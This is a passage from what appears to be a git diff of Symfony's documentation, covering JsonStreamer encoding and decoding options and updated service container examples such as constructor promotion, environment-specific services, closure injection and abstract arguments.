decoder then instantiates +all the objects immediately. + +This approach is faster because all objects are created immediately, but it +requires more memory. + +* Advantage: Faster, ideal for small to medium JSON files. +* Disadvantage: Higher memory usage, unsuitable for large files. + +Enabling PHPDoc Reading +----------------------- + +The JsonStreamer component can read advanced PHPDoc type definitions (e.g., +generics) and process complex PHP objects accordingly. + +Consider the ``Shelter`` class that defines a generic ``TAnimal`` type, which +can be a ``Cat`` or a ``Dog``:: + + // src/Dto/Shelter.php + namespace App\Dto; + + use Symfony\Component\JsonStreamer\Attribute\JsonStreamable; + + /** + * @template TAnimal of Cat|Dog + */ + #[JsonStreamable] + class Shelter + { + /** + * @var list<TAnimal> + */ + public array $animals; + } + +To enable PHPDoc parsing, run: + +.. code-block:: terminal + + $ composer require phpstan/phpdoc-parser + +Then, when encoding/decoding a ``Shelter`` instance, you can specify the +concrete type information, and JsonStreamer will correctly interpret the JSON +structure:: + + use App\Dto\Cat; + use App\Dto\Shelter; + use Symfony\Component\TypeInfo\Type; + + $json = <<<JSON + { + "animals": [ + {"name": "Eva", "age": 29}, + {...} + ] + } + JSON; + + // maps the TAnimal template in Shelter to the Cat concrete type + $type = Type::generic(Type::object(Shelter::class), Type::object(Cat::class)); + + $catShelter = $jsonStreamReader->read($json, $type); // will be populated with Cat instances + +Configuring Encoding/Decoding +----------------------------- + +While it's usually best not to alter the shape or values of objects during +serialization, sometimes it's necessary. + +Configuring the Encoded Name +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can configure the JSON key for a property using the +:class:`Symfony\\Component\\JsonStreamer\\Attribute\\StreamedName` attribute:: + + // src/Dto/Duck.php + namespace App\Dto; + + use Symfony\Component\JsonStreamer\Attribute\JsonStreamable; + use Symfony\Component\JsonStreamer\Attribute\StreamedName; + + #[JsonStreamable] + class Duck + { + #[StreamedName('@id')] + public string $id; + } + +This maps the ``Duck::$id`` property to the ``@id`` JSON key:: + + use App\Dto\Duck; + use Symfony\Component\TypeInfo\Type; + + // ... + + $duck = new Duck(); + $duck->id = '/ducks/daffy'; + + echo (string) $jsonStreamWriter->write($duck, Type::object(Duck::class)); + + // This will output: + // { + // "@id": "/ducks/daffy" + // } + +Configuring the Encoded Value +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To transform a property's value during encoding, use the +:class:`Symfony\\Component\\JsonStreamer\\Attribute\\ValueTransformer` +attribute. Its ``nativeToStream`` option accepts a callable or a +:ref:`value transformer service id <json-streamer-transform-with-services>`. + +The callable must be a public static method or non-anonymous function with this +signature:: + + $transformer = function (mixed $data, array $options = []): mixed { /* ... */ }; + +Then specify it in the attribute:: + + // src/Dto/Duck.php + namespace App\Dto; + + use Symfony\Component\JsonStreamer\Attribute\JsonStreamable; + use Symfony\Component\JsonStreamer\Attribute\ValueTransformer; + + #[JsonStreamable] + class Duck + { + #[ValueTransformer(nativeToStream: 'strtoupper')] + public string $name; + + #[ValueTransformer(nativeToStream: [self::class, 'formatHeight'])] + public int $height; + + public static function formatHeight(int $value, array $options = []): string + { + return sprintf('%.2fcm', $value / 100); + } + } + +The following example transforms the ``name`` and ``height`` properties during +encoding:: + + use App\Dto\Duck; + use Symfony\Component\TypeInfo\Type; + + // ... + + $duck = new Duck(); + $duck->name = 'daffy'; + $duck->height = 5083; + + echo (string) $jsonStreamWriter->write($duck, Type::object(Duck::class)); + + // This will output: + // { + // "name": "DAFFY", + // "height": "50.83cm" + // } + +Configuring the Decoded Value +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To transform a property's value during decoding, use the +:class:`Symfony\\Component\\JsonStreamer\\Attribute\\ValueTransformer` +attribute. Its ``streamToNative`` option accepts a callable or a +:ref:`value transformer service id <json-streamer-transform-with-services>`. + +The callable must be a public static method or non-anonymous function with this +signature:: + + $valueTransformer = function (mixed $data, array $options = []): mixed { /* ... */ }; + +Then specify it in the attribute:: + + // src/Dto/Duck.php + namespace App\Dto; + + use Symfony\Component\JsonStreamer\Attribute\JsonStreamable; + use Symfony\Component\JsonStreamer\Attribute\ValueTransformer; + + #[JsonStreamable] + class Duck + { + #[ValueTransformer(streamToNative: [self::class, 'retrieveFirstName'])] + public string $firstName; + + #[ValueTransformer(streamToNative: [self::class, 'retrieveLastName'])] + public string $lastName; + + public static function retrieveFirstName(string $normalized, array $options = []): string + { + return explode(' ', $normalized)[0]; + } + + public static function retrieveLastName(string $normalized, array $options = []): string + { + return explode(' ', $normalized)[1]; + } + } + +This will extract first and last names from a full name in the input JSON:: + + use App\Dto\Duck; + use Symfony\Component\TypeInfo\Type; + + // ... + + $duck = $jsonStreamReader->read( + '{"name": "Daffy Duck"}', + Type::object(Duck::class), + ); + + // The $duck variable will contain: + // object(Duck)#1 (1) { + // ["firstName"] => string(5) "Daffy" + // ["lastName"] => string(4) "Duck" + // } + +.. _json-streamer-transform-with-services: + +Transforming Value Using Services +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When callables are not enough, you can use a service implementing the +:class:`Symfony\\Component\\JsonStreamer\\ValueTransformer\\ValueTransformerInterface`:: + + // src/Transformer/DogUrlTransformer.php + namespace App\Transformer; + + use Symfony\Component\JsonStreamer\ValueTransformer\ValueTransformerInterface; + use Symfony\Component\Routing\Generator\UrlGeneratorInterface; + use Symfony\Component\TypeInfo\Type; + + class DogUrlTransformer implements ValueTransformerInterface + { + public function __construct( + private UrlGeneratorInterface $urlGenerator, + ) { + } + + public function transform(mixed $value, array $options = []): string + { + if (!is_int($value)) { + throw new \InvalidArgumentException(sprintf('The value must be "int", "%s" given.', get_debug_type($value))); + } + + return $this->urlGenerator->generate('show_dog', ['id' => $value]); + } + + public static function getStreamValueType(): Type + { + return Type::string(); + } + } + +.. note:: + + The ``getStreamValueType()`` method must return the value's type as it will + appear in the JSON stream. + +To use this transformer in a class, configure the ``#[ValueTransformer]`` attribute:: + + // src/Dto/Dog.php + namespace App\Dto; + + use App\Transformer\DogUrlTransformer; + use Symfony\Component\JsonStreamer\Attribute\JsonStreamable; + use Symfony\Component\JsonStreamer\Attribute\StreamedName; + use Symfony\Component\JsonStreamer\Attribute\ValueTransformer; + + #[JsonStreamable] + class Dog + { + #[StreamedName('url')] + #[ValueTransformer(nativeToStream: DogUrlTransformer::class)] + public int $id; + } + +.. tip:: + + Value transformers are called frequently during encoding and decoding. Keep + them lightweight and avoid calls to external APIs or the database. + +Configuring Keys and Values Dynamically +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +JsonStreamer uses services that implement the +:class:`Symfony\\Component\\JsonStreamer\\Mapping\\PropertyMetadataLoaderInterface` +to control the shape and values of objects during encoding/decoding. + +These services are highly flexible and can be decorated to support dynamic +configurations, providing more flexibility than attributes:: + + namespace App\Streamer\SensitivePropertyMetadataLoader; + + use App\Dto\SensitiveInterface; + use App\Streamer\ValueTransformer\EncryptorValueTransformer; + use Symfony\Component\DependencyInjection\Attribute\AsDecorator; + use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated; + use Symfony\Component\JsonStreamer\Mapping\PropertyMetadata; + use Symfony\Component\JsonStreamer\Mapping\PropertyMetadataLoaderInterface; + use Symfony\Component\TypeInfo\Type; + + #[AsDecorator('json_streamer.write.property_metadata_loader')] + class SensitivePropertyMetadataLoader implements PropertyMetadataLoaderInterface + { + public function __construct( + #[AutowireDecorated] + private PropertyMetadataLoaderInterface $decorated, + ) { + } + + public function load(string $className, array $options = [], array $context = []): array + { + $propertyMetadataMap = $this->decorated->load($className, $options, $context); + + if (!is_a($className, SensitiveInterface::class, true)) { + return $propertyMetadataMap; + } + + // you can configure value transformers + foreach ($propertyMetadataMap as $jsonKey => $metadata) { + if (in_array($metadata->getName(), $className::getPropertiesToEncrypt(), true)) { + $propertyMetadataMap[$jsonKey] = $metadata + ->withType(Type::string()) + ->withAdditionalNativeToStreamValueTransformer(EncryptorValueTransformer::class); + } + } + + // you can remove existing properties + foreach ($propertyMetadataMap as $jsonKey => $metadata) { + if (in_array($metadata->getName(), $className::getPropertiesToRemove(), true)) { + unset($propertyMetadataMap[$jsonKey]); + } + } + + // you can rename JSON keys + foreach ($propertyMetadataMap as $jsonKey => $metadata) { + $propertyMetadataMap[md5($jsonKey)] = $propertyMetadataMap[$jsonKey]; + unset($propertyMetadataMap[$jsonKey]); + } + + // you can add virtual properties + $propertyMetadataMap['is_sensitive'] = new PropertyMetadata( + name: 'theNameWontBeUsed', + type: Type::bool(), + nativeToStreamValueTransformers: [fn() => true], + ); + + return $propertyMetadataMap; + } + } + +Although powerful, this approach introduces complexity. Decorating property +metadata loaders requires a deep understanding of the internals. + +For most use cases, attribute-based configuration is sufficient. Reserve +dynamic loaders for advanced scenarios. + +.. _json-streamer-streamable-attribute: + +Marking Objects as Streamable +----------------------------- + +The ``JsonStreamable`` attribute marks a class as streamable. While not strictly +required, it's highly recommended because it enables cache warm-up to pre-generate +encoding/decoding files, improving performance. + +It includes two optional properties: ``asObject`` and ``asList``, which define +how the class should be prepared during cache warm-up:: + + use Symfony\Component\JsonStreamer\Attribute\JsonStreamable; + + #[JsonStreamable(asObject: true, asList: true)] + class StreamableData + { + // ... + } + +.. _`DTO classes`: https://en.wikipedia.org/wiki/Data_transfer_object +.. _ghost objects: https://en.wikipedia.org/wiki/Lazy_loading#Ghost diff --git a/service_container.rst b/service_container.rst index 0b140eedcd8..8b86d06a833 100644 --- a/service_container.rst +++ b/service_container.rst @@ -1,7 +1,3 @@ -.. index:: - single: Service Container - single: DependencyInjection; Container - Service Container ================= @@ -32,13 +28,13 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p namespace App\Controller; use Psr\Log\LoggerInterface; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; - class ProductController + class ProductController extends AbstractController { - /** - * @Route("/products") - */ + #[Route('/products')] public function list(LoggerInterface $logger): Response { $logger->info('Look, I just used a service!'); @@ -47,7 +43,6 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p } } - What other services are available? Find out by running: .. code-block:: terminal @@ -56,19 +51,21 @@ What other services are available? Find out by running: # this is just a *small* sample of the output... - Describes a logger instance. - Psr\Log\LoggerInterface (monolog.logger) + Autowirable Types + ================= - Request stack that controls the lifecycle of requests. - Symfony\Component\HttpFoundation\RequestStack (request_stack) + The following classes & interfaces can be used as type-hints when autowiring: - Interface for the session. - Symfony\Component\HttpFoundation\Session\SessionInterface (session) + Describes a logger instance. + Psr\Log\LoggerInterface - alias:logger - RouterInterface is the interface that all Router classes must implement. - Symfony\Component\Routing\RouterInterface (router.default) + Request stack that controls the lifecycle of requests. + Symfony\Component\HttpFoundation\RequestStack - alias:request_stack - [...] + RouterInterface is the interface that all Router classes must implement. + Symfony\Component\Routing\RouterInterface - alias:router.default + + [...] When you use these type-hints in your controller methods or inside your :ref:`own services <service-container-creating-service>`, Symfony will automatically @@ -80,13 +77,10 @@ in the container. .. tip:: There are actually *many* more services in the container, and each service has - a unique id in the container, like ``session`` or ``router.default``. For a full + a unique id in the container, like ``request_stack`` or ``router.default``. For a full list, you can run ``php bin/console debug:container``. But most of the time, - you won't need to worry about this. See :ref:`services-wire-specific-service`. - See :doc:`/service_container/debug`. - -.. index:: - single: Service Container; Configuring services + you won't need to worry about this. See :ref:`how to choose a specific service + <services-wire-specific-service>`. See :doc:`/service_container/debug`. .. _service-container-creating-service: @@ -121,20 +115,23 @@ inside your controller:: // src/Controller/ProductController.php use App\Service\MessageGenerator; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; - /** - * @Route("/products/new") - */ - public function new(MessageGenerator $messageGenerator): Response + class ProductController extends AbstractController { - // thanks to the type-hint, the container will instantiate a - // new MessageGenerator and pass it to you! - // ... + #[Route('/products/new')] + public function new(MessageGenerator $messageGenerator): Response + { + // thanks to the type-hint, the container will instantiate a + // new MessageGenerator and pass it to you! + // ... - $message = $messageGenerator->getHappyMessage(); - $this->addFlash('success', $message); - // ... + $message = $messageGenerator->getHappyMessage(); + $this->addFlash('success', $message); + // ... + } } When you ask for the ``MessageGenerator`` service, the container constructs a new @@ -164,8 +161,10 @@ each time you ask for it. # makes classes in src/ available to be used as services # this creates a service per class whose id is the fully-qualified class name App\: - resource: '../src/*' - exclude: '../src/{DependencyInjection,Entity,Tests,Kernel.php}' + resource: '../src/' + + # order is important in this file because service definitions + # always *replace* previous ones; add your own service configuration below # ... @@ -184,7 +183,10 @@ each time you ask for it. <!-- makes classes in src/ available to be used as services --> <!-- this creates a service per class whose id is the fully-qualified class name --> - <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Tests,Kernel.php}"/> + <prototype namespace="App\" resource="../src/"/> + + <!-- order is important in this file because service definitions + always *replace* previous ones; add your own service configuration below --> <!-- ... --> @@ -196,9 +198,9 @@ each time you ask for it. // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // default configuration for services in *this* file - $services = $configurator->services() + $services = $container->services() ->defaults() ->autowire() // Automatically injects dependencies in your services. ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc. @@ -206,22 +208,120 @@ each time you ask for it. // makes classes in src/ available to be used as services // this creates a service per class whose id is the fully-qualified class name - $services->load('App\\', '../src/*') - ->exclude('../src/{DependencyInjection,Entity,Tests,Kernel.php}'); + $services->load('App\\', '../src/'); + + // order is important in this file because service definitions + // always *replace* previous ones; add your own service configuration below }; .. tip:: - The value of the ``resource`` and ``exclude`` options can be any valid - `glob pattern`_. The value of the ``exclude`` option can also be an - array of glob patterns. + The value of the ``resource`` option can be any valid `glob pattern`_. Thanks to this configuration, you can automatically use any classes from the ``src/`` directory as a service, without needing to manually configure - it. Later, you'll learn more about this in :ref:`service-psr4-loader`. + it. Later, you'll learn how to :ref:`import many services at once + <service-psr4-loader>` with resource. + + If some files or directories in your project should not become services, you + can exclude them using the ``exclude`` option: + + .. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + App\: + resource: '../src/' + exclude: + - '../src/SomeDirectory/' + - '../src/AnotherDirectory/' + - '../src/SomeFile.php' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> - If you'd prefer to manually wire your service, that's totally possible: see - :ref:`services-explicitly-configure-wire-services`. + <services> + <prototype namespace="App\" resource="../src/" exclude="../src/{SomeDirectory,AnotherDirectory,Kernel.php}"/> + <!-- ... --> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return function(ContainerConfigurator $container): void { + // ... + + $services->load('App\\', '../src/') + ->exclude('../src/{SomeDirectory,AnotherDirectory,Kernel.php}'); + }; + + If you'd prefer to manually wire your service, you can + :ref:`use explicit configuration <services-explicitly-configure-wire-services>`. + +.. _service-container_limiting-to-env: + +Limiting Services to a specific Symfony Environment +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can use the ``#[When]`` attribute to only register the class +as a service in some environments:: + + use Symfony\Component\DependencyInjection\Attribute\When; + + // SomeClass is only registered in the "dev" environment + + #[When(env: 'dev')] + class SomeClass + { + // ... + } + + // you can also apply more than one When attribute to the same class + + #[When(env: 'dev')] + #[When(env: 'test')] + class AnotherClass + { + // ... + } + +If you want to exclude a service from being registered in a specific +environment, you can use the ``#[WhenNot]`` attribute:: + + use Symfony\Component\DependencyInjection\Attribute\WhenNot; + + // SomeClass is registered in all environments except "dev" + + #[WhenNot(env: 'dev')] + class SomeClass + { + // ... + } + + // you can apply more than one WhenNot attribute to the same class + + #[WhenNot(env: 'dev')] + #[WhenNot(env: 'test')] + class AnotherClass + { + // ... + } + +.. versionadded:: 7.2 + + The ``#[WhenNot]`` attribute was introduced in Symfony 7.2. .. _services-constructor-injection: @@ -240,11 +340,9 @@ and use it later:: class MessageGenerator { - private $logger; - - public function __construct(LoggerInterface $logger) - { - $this->logger = $logger; + public function __construct( + private LoggerInterface $logger, + ) { } public function getHappyMessage(): string @@ -278,19 +376,137 @@ type-hints by running: # this is just a *small* sample of the output... Describes a logger instance. - Psr\Log\LoggerInterface (monolog.logger) + Psr\Log\LoggerInterface - alias:monolog.logger Request stack that controls the lifecycle of requests. - Symfony\Component\HttpFoundation\RequestStack (request_stack) - - Interface for the session. - Symfony\Component\HttpFoundation\Session\SessionInterface (session) + Symfony\Component\HttpFoundation\RequestStack - alias:request_stack RouterInterface is the interface that all Router classes must implement. - Symfony\Component\Routing\RouterInterface (router.default) + Symfony\Component\Routing\RouterInterface - alias:router.default [...] +In addition to injecting services, you can also pass scalar values and collections +as arguments of other services: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + App\Service\SomeService: + arguments: + # string, numeric and boolean arguments can be passed "as is" + - 'Foo' + - true + - 7 + - 3.14 + + # constants can be built-in, user-defined, or Enums + - !php/const E_ALL + - !php/const PDO::FETCH_NUM + - !php/const Symfony\Component\HttpKernel\Kernel::VERSION + - !php/const App\Config\SomeEnum::SomeCase + + # when not using autowiring, you can pass service arguments explicitly + - '@some-service-id' # the leading '@' tells this is a service ID, not a string + - '@?some-service-id' # using '?' means to pass null if service doesn't exist + + # binary contents are passed encoded as base64 strings + - !!binary VGhpcyBpcyBhIEJlbGwgY2hhciAH + + # collections (arrays) can include any type of argument + - + first: !php/const true + second: 'Foo' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <services> + <service id="App\Service\SomeService"> + <!-- arguments without a type can be strings or numbers --> + <argument>Foo</argument> + <argument>7</argument> + <argument>3.14</argument> + <!-- explicitly declare a string argument --> + <argument type="string">Foo</argument> + <!-- booleans are passed as constants --> + <argument type="constant">true</argument> + + <!-- constants can be built-in, user-defined, or Enums --> + <argument type="constant">E_ALL</argument> + <argument type="constant">PDO::FETCH_NUM</argument> + <argument type="constant">Symfony\Component\HttpKernel\Kernel::VERSION</argument> + <argument type="constant">App\Config\SomeEnum::SomeCase</argument> + + <!-- when not using autowiring, you can pass service arguments explicitly --> + <argument type="service" + id="some-service-id" + on-invalid="dependency_injection-ignore"/> + + <!-- binary contents are passed encoded as base64 strings --> + <argument type="binary">VGhpcyBpcyBhIEJlbGwgY2hhciAH</argument> + + <!-- collections (arrays) can include any type of argument --> + <argument type="collection"> + <argument key="first" type="constant">true</argument> + <argument key="second" type="string">Foo</argument> + </argument> + </service> + + <!-- ... --> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\DependencyInjection\ContainerInterface; + use Symfony\Component\DependencyInjection\Reference; + + return static function (ContainerConfigurator $container) { + $services = $container->services(); + + $services->set(App\Service\SomeService::class) + // string, numeric and boolean arguments can be passed "as is" + ->arg(0, 'Foo') + ->arg(1, true) + ->arg(2, 7) + ->arg(3, 3.14) + + // constants: built-in, user-defined, or Enums + ->arg(4, E_ALL) + ->arg(5, \PDO::FETCH_NUM) + ->arg(6, Symfony\Component\HttpKernel\Kernel::VERSION) + ->arg(7, App\Config\SomeEnum::SomeCase) + + // when not using autowiring, you can pass service arguments explicitly + ->arg(8, service('some-service-id')) # fails if service doesn't exist + # passes null if service doesn't exist + ->arg(9, new Reference('some-service-id', Reference::IGNORE_ON_INVALID_REFERENCE)) + + // collection with mixed argument types + ->arg(10, [ + 'first' => true, + 'second' => 'Foo', + ]); + + // ... + }; + Handling Multiple Services ~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -306,13 +522,10 @@ made. To do that, you create a new class:: class SiteUpdateManager { - private $messageGenerator; - private $mailer; - - public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer) - { - $this->messageGenerator = $messageGenerator; - $this->mailer = $mailer; + public function __construct( + private MessageGenerator $messageGenerator, + private MailerInterface $mailer, + ) { } public function notifyOfSiteUpdate(): bool @@ -340,19 +553,22 @@ you can type-hint the new ``SiteUpdateManager`` class and use it:: // src/Controller/SiteController.php namespace App\Controller; - - // ... + use App\Service\SiteUpdateManager; + // ... - public function new(SiteUpdateManager $siteUpdateManager) + class SiteController extends AbstractController { - // ... + public function new(SiteUpdateManager $siteUpdateManager): Response + { + // ... - if ($siteUpdateManager->notifyOfSiteUpdate()) { - $this->addFlash('success', 'Notification mail was sent successfully.'); - } + if ($siteUpdateManager->notifyOfSiteUpdate()) { + $this->addFlash('success', 'Notification mail was sent successfully.'); + } - // ... + // ... + } } Thanks to autowiring and your type-hints in ``__construct()``, the container creates @@ -369,38 +585,37 @@ example, suppose you want to make the admin email configurable: .. code-block:: diff - // src/Service/SiteUpdateManager.php - // ... + // src/Service/SiteUpdateManager.php + // ... - class SiteUpdateManager - { - // ... - + private $adminEmail; + class SiteUpdateManager + { + // ... - - public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer) - + public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, $adminEmail) - { - // ... - + $this->adminEmail = $adminEmail; - } + public function __construct( + private MessageGenerator $messageGenerator, + private MailerInterface $mailer, + + private string $adminEmail + ) { + } - public function notifyOfSiteUpdate(): bool - { - // ... + public function notifyOfSiteUpdate(): bool + { + // ... - $email = (new Email()) - // ... + $email = (new Email()) + // ... - ->to('manager@example.com') + ->to($this->adminEmail) - // ... - ; - // ... - } - } + // ... + ; + // ... + } + } If you make this change and refresh, you'll see an error: - Cannot autowire service "App\Service\SiteUpdateManager": argument "$adminEmail" + Cannot autowire service "App\\Service\\SiteUpdateManager": argument "$adminEmail" of method "__construct()" must have a type-hint or be given a value explicitly. That makes sense! There is no way that the container knows what value you want to @@ -416,8 +631,8 @@ pass here. No problem! In your configuration, you can explicitly set this argume # same as before App\: - resource: '../src/*' - exclude: '../src/{DependencyInjection,Entity,Tests,Kernel.php}' + resource: '../src/' + exclude: '../src/{DependencyInjection,Entity,Kernel.php}' # explicitly configure the service App\Service\SiteUpdateManager: @@ -439,8 +654,8 @@ pass here. No problem! In your configuration, you can explicitly set this argume <!-- Same as before --> <prototype namespace="App\" - resource="../src/*" - exclude="../src/{DependencyInjection,Entity,Tests,Kernel.php}" + resource="../src/" + exclude="../src/{DependencyInjection,Entity,Kernel.php}" /> <!-- Explicitly configure the service --> @@ -457,19 +672,18 @@ pass here. No problem! In your configuration, you can explicitly set this argume use App\Service\SiteUpdateManager; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // ... // same as before - $services->load('App\\', '../src/*') - ->exclude('../src/{DependencyInjection,Entity,Tests,Kernel.php}'); + $services->load('App\\', '../src/') + ->exclude('../src/{DependencyInjection,Entity,Kernel.php}'); $services->set(SiteUpdateManager::class) ->arg('$adminEmail', 'manager@example.com') ; }; - Thanks to this, the container will pass ``manager@example.com`` to the ``$adminEmail`` argument of ``__construct`` when creating the ``SiteUpdateManager`` service. The other arguments will still be autowired. @@ -500,13 +714,14 @@ parameter and in PHP config use the ``service()`` function: # config/services.yaml services: App\Service\MessageGenerator: - # this is not a string, but a reference to a service called 'logger' - arguments: ['@logger'] + arguments: + # this is not a string, but a reference to a service called 'logger' + - '@logger' - # if the value of a string parameter starts with '@', you need to escape - # it by adding another '@' so Symfony doesn't consider it a service - # (this will be parsed as the string '@securepassword') - mailer_password: '@@securepassword' + # if the value of a string argument starts with '@', you need to escape + # it by adding another '@' so Symfony doesn't consider it a service + # the following example would be parsed as the string '@securepassword' + # - '@@securepassword' .. code-block:: xml @@ -531,11 +746,10 @@ parameter and in PHP config use the ``service()`` function: use App\Service\MessageGenerator; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(MessageGenerator::class) - // In versions earlier to Symfony 5.1 the service() function was called ref() ->args([service('logger')]) ; }; @@ -552,7 +766,7 @@ accessor methods for parameters:: // adds a new parameter $container->setParameter('mailer.transport', 'sendmail'); -.. caution:: +.. warning:: The used ``.`` notation is a :ref:`Symfony convention <service-naming-conventions>` to make parameters @@ -579,11 +793,9 @@ The ``MessageGenerator`` service created earlier requires a ``LoggerInterface`` class MessageGenerator { - private $logger; - - public function __construct(LoggerInterface $logger) - { - $this->logger = $logger; + public function __construct( + private LoggerInterface $logger, + ) { } // ... } @@ -638,11 +850,11 @@ But, you can control this and pass in a different logger: use App\Service\MessageGenerator; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // ... same code as before // explicitly configure the service - $services->set(SiteUpdateManager::class) + $services->set(MessageGenerator::class) ->arg('$logger', service('monolog.logger.request')) ; }; @@ -650,6 +862,12 @@ But, you can control this and pass in a different logger: This tells the container that the ``$logger`` argument to ``__construct`` should use service whose id is ``monolog.logger.request``. +For a list of possible logger services that can be used with autowiring, run: + +.. code-block:: terminal + + $ php bin/console debug:autowiring logger + .. _container-debug-container: For a full list of *all* possible services in the container, run: @@ -658,6 +876,128 @@ For a full list of *all* possible services in the container, run: $ php bin/console debug:container +Remove Services +--------------- + +A service can be removed from the service container if needed. This is useful +for example to make a service unavailable in some :ref:`configuration environment <configuration-environments>` +(e.g. in the ``test`` environment): + +.. configuration-block:: + + .. code-block:: php + + // config/services_test.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\RemovedService; + + return function(ContainerConfigurator $containerConfigurator) { + $services = $containerConfigurator->services(); + + $services->remove(RemovedService::class); + }; + +Now, the container will not contain the ``App\RemovedService`` in the ``test`` +environment. + +.. _container_closure-as-argument: + +Injecting a Closure as an Argument +---------------------------------- + +It is possible to inject a callable as an argument of a service. +Let's add an argument to our ``MessageGenerator`` constructor:: + + // src/Service/MessageGenerator.php + namespace App\Service; + + use Psr\Log\LoggerInterface; + + class MessageGenerator + { + private string $messageHash; + + public function __construct( + private LoggerInterface $logger, + callable $generateMessageHash, + ) { + $this->messageHash = $generateMessageHash(); + } + // ... + } + +Now, we would add a new invokable service to generate the message hash:: + + // src/Hash/MessageHashGenerator.php + namespace App\Hash; + + class MessageHashGenerator + { + public function __invoke(): string + { + // Compute and return a message hash + } + } + +Our configuration looks like this: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... same code as before + + # explicitly configure the service + App\Service\MessageGenerator: + arguments: + $logger: '@monolog.logger.request' + $generateMessageHash: !closure '@App\Hash\MessageHashGenerator' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... same code as before --> + + <!-- Explicitly configure the service --> + <service id="App\Service\MessageGenerator"> + <argument key="$logger" type="service" id="monolog.logger.request"/> + <argument key="$generateMessageHash" type="closure" id="App\Hash\MessageHashGenerator"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Service\MessageGenerator; + + return function(ContainerConfigurator $containerConfigurator): void { + // ... same code as before + + // explicitly configure the service + $services->set(MessageGenerator::class) + ->arg('$logger', service('monolog.logger.request')) + ->arg('$generateMessageHash', closure('App\Hash\MessageHashGenerator')) + ; + }; + +.. seealso:: + + Closures can be injected :ref:`by using autowiring <autowiring_closures>` + and its dedicated attributes. + .. _services-binding: Binding Arguments by Name or Type @@ -734,13 +1074,10 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - use App\Controller\LuckyController; use Psr\Log\LoggerInterface; - use Symfony\Component\DependencyInjection\Definition; - use Symfony\Component\DependencyInjection\Reference; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services() + return function(ContainerConfigurator $container): void { + $services = $container->services() ->defaults() // pass this value to any $adminEmail argument for any service // that's defined in this file (including controller arguments) @@ -768,8 +1105,75 @@ argument for *any* service defined in this file! You can bind arguments by name (e.g. ``$adminEmail``), by type (e.g. ``Psr\Log\LoggerInterface``) or both (e.g. ``Psr\Log\LoggerInterface $requestLogger``). -The ``bind`` config can also be applied to specific services or when loading many -services at once (i.e. :ref:`service-psr4-loader`). +The ``bind`` config can also be applied to specific services or when +:ref:`loading many services at once <service-psr4-loader>`). + +Abstract Service Arguments +-------------------------- + +Sometimes, the values of some service arguments can't be defined in the +configuration files because they are calculated at runtime using a +:doc:`compiler pass </service_container/compiler_passes>` +or :doc:`bundle extension </bundles/extension>`. + +In those cases, you can use the ``abstract`` argument type to define at least +the name of the argument and some short description about its purpose: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + App\Service\MyService: + arguments: + $rootNamespace: !abstract 'should be defined by Pass' + + # ... + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + 